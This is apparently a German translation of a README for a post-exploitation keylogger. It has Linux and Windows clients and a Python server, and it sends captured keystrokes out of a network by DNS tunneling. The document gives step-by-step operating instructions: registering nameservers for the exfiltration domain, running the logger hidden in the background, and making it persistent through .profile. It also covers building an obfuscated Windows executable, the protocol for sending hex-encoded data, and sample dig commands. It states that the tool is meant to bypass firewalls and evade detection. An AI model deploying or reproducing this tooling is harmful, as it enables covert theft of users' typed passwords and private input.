
Keylogging-Server und -Client, der DNS-Tunneling/-Exfiltration verwendet, um Tastenanschläge durch Firewalls zu übertragen.
Dieser Post-Exploitation-Keylogger wird Tastatureingaben verdeckt an einen Server exfiltrieren.
Diese Tools zeichnen sich durch leichtgewichtige Exfiltration und Persistenz aus, Eigenschaften, die eine Erkennung verhindern. Sie nutzen DNS-Tunnelung/Exfiltration, um Firewalls zu umgehen und einer Erkennung zu entgehen.
Der Server verwendet python3.
Um Abhängigkeiten zu installieren, führen Sie python3 -m pip install -r requirements.txt aus.
Um den Server zu starten, führen Sie python3 main.py aus.
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
Standardmäßig hört der Server auf UDP-Port 53. Verwenden Sie das Flag -p, um einen anderen Port anzugeben.
ip ist die IP-Adresse des Servers. Sie wird in SOA- und NS-Einträgen verwendet, die es anderen Nameservern ermöglichen, den Server zu finden.
domain ist die Domain, auf die gehört werden soll, und sollte die Domain sein, für die der Server autoritativ ist.
Beim Registrar möchten Sie den Namespace Ihrer Domain auf benutzerdefinierten DNS ändern.
Weisen Sie diese auf zwei Domains, ns1.example.com und ns2.example.com.

Fügen Sie Einträge hinzu, die die Namespace-Domains auf die IP-Adresse Ihres Exfiltrationsservers verweisen.

Dies entspricht dem Setzen von Glue Records.
Der Linux-Keylogger besteht aus zwei Bash-Skripten. connection.sh wird vom Skript logger.sh verwendet, um die Tastatureingaben an den Server zu senden. Wenn Sie manuell Daten wie eine Datei senden möchten, können Sie Daten an das connection.sh-Skript weiterleiten. Es stellt automatisch eine Verbindung her und sendet die Daten.
logger.shUsage: logger.sh [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-p path: give path to log file to listen to
-l: run the logger with warnings and errors printed
Um den Keylogger zu starten, führen Sie den Befehl ./logger.sh [domain] && exit aus. Dies startet den Keylogger im Hintergrund, und alle eingegebenen Tastatureingaben werden gesendet. Das && exit am Ende bewirkt, dass die Shell beim Beenden geschlossen wird. Ohne das && exit gelangen Sie beim Beenden zurück zur nicht protokollierten Shell. Entfernen Sie &> /dev/null, um Fehlermeldungen anzuzeigen.
Die Option -p gibt den Speicherort der temporären Logdatei an, an die alle Eingaben gesendet werden. Standardmäßig ist dies /tmp/.
Die Option -l zeigt Warnungen und Fehler an. Kann für das Debugging nützlich sein.
logger.sh und connection.sh müssen sich im selben Verzeichnis befinden, damit der Keylogger funktioniert. Wenn Sie Persistenz wünschen, können Sie den Befehl zu .profile hinzufügen, um bei jeder neuen interaktiven Shell zu starten.
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
Um das Keylogging-Programm zu erstellen, führen Sie make im windows-Verzeichnis aus. Um mit reduzierter Größe und einer gewissen Verschleierung zu erstellen, wählen Sie das Ziel production. Dies erstellt das build-Verzeichnis für Sie und gibt eine Datei namens logger.exe im build-Verzeichnis aus. Ich habe das Erstellen nur mit MinGW unter Windows 10 getestet. Wenn Sie g++ auf einem Nicht-Windows-Rechner verwenden, erhalten Sie wahrscheinlich Build-Fehler im Zusammenhang mit windows.h.
make production domain=example.com
Sie können das Programm auch mit Debugging erstellen, indem Sie das Ziel debug auswählen.
make debug domain=example.com
Für beide Ziele müssen Sie die Domain angeben, auf die der Server hört.
Sie können dig verwenden, um Anfragen an den Server zu senden:
dig @127.0.0.1 a.1.1.1.example.com A +short sendet eine Verbindungsanfrage an einen Server auf localhost.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short sendet eine Testnachricht an localhost.
Ersetzen Sie example.com durch die Domain, auf die der Server hört.
A-Record-Anfragen, die mit a beginnen, zeigen den Start einer "Verbindung" an. Wenn der Server sie empfängt, antwortet er mit einer gefälschten, nicht reservierten IP-Adresse, deren letztes Oktett die ID des Clients enthält.
Das folgende Format ist für das Starten einer Verbindung einzuhalten: a.1.1.1.[sld].[tld].
Der Server antwortet mit einer IP-Adresse im folgenden Format: 123.123.123.[id]
Gleichzeitige Verbindungen dürfen 254 nicht überschreiten, und Clients gelten nie als "getrennt".
A-Record-Anfragen, die mit b beginnen, zeigen exfiltrierte Daten an, die an den Server gesendet werden.
Das folgende Format ist für das Senden von Daten nach dem Aufbau einer Verbindung einzuhalten: b.[packet #].[id].[data].[sld].[tld].
Der Server antwortet mit [code].123.123.123
id ist die ID, die bei der Verbindung festgelegt wurde. Daten werden als hexadezimal kodiertes ASCII gesendet.
code ist einer der unten beschriebenen Codes.
200: OKWenn der Client eine Anfrage sendet, die normal verarbeitet wird, antwortet der Server mit Code 200.
201: Fehlerhafte Record-AnfragenWenn der Client eine fehlerhafte Record-Anfrage sendet, antwortet der Server mit Code 201.
202: Nicht vorhandene VerbindungenWenn der Client ein Datenpaket mit einer ID sendet, die größer als die Anzahl der Verbindungen ist, antwortet der Server mit Code 202.
203: Pakete außerhalb der ReihenfolgeWenn der Client ein Paket mit einer Paket-ID sendet, die nicht dem Erwarteten entspricht, antwortet der Server mit Code 203. Clients und Server sollten ihre Paketnummern auf 0 zurücksetzen. Dann kann der Client das Paket mit der neuen Paket-ID erneut senden.
204: Maximalverbindung erreichtWenn der Client versucht, eine Verbindung herzustellen, während das Maximum erreicht ist, antwortet der Server mit Code 204.
Clients sollten sich auf Antworten als Bestätigungen für empfangene Pakete verlassen. Wenn sie keine Antwort erhalten, sollten sie dieselbe Nutzlast erneut senden.
Die Logdatei mit den Benutzereingaben enthält ASCII-Steuerzeichen wie Backspace, Delete und Carriage Return. Wenn Sie den Inhalt mit etwas wie cat ausgeben, sollten Sie die passende Option wählen, um ASCII-Steuerzeichen auszugeben, z. B. -v für cat, oder sie in einem Texteditor öffnen.
Der Keylogger basiert auf script, daher läuft der Keylogger nicht in nicht-interaktiven Shells.
Aus irgendeinem Grund sendet Dns_Query_A unter Windows immer doppelte Anfragen. Der Server verarbeitet dies problemlos, da er wiederholte Pakete verwirft.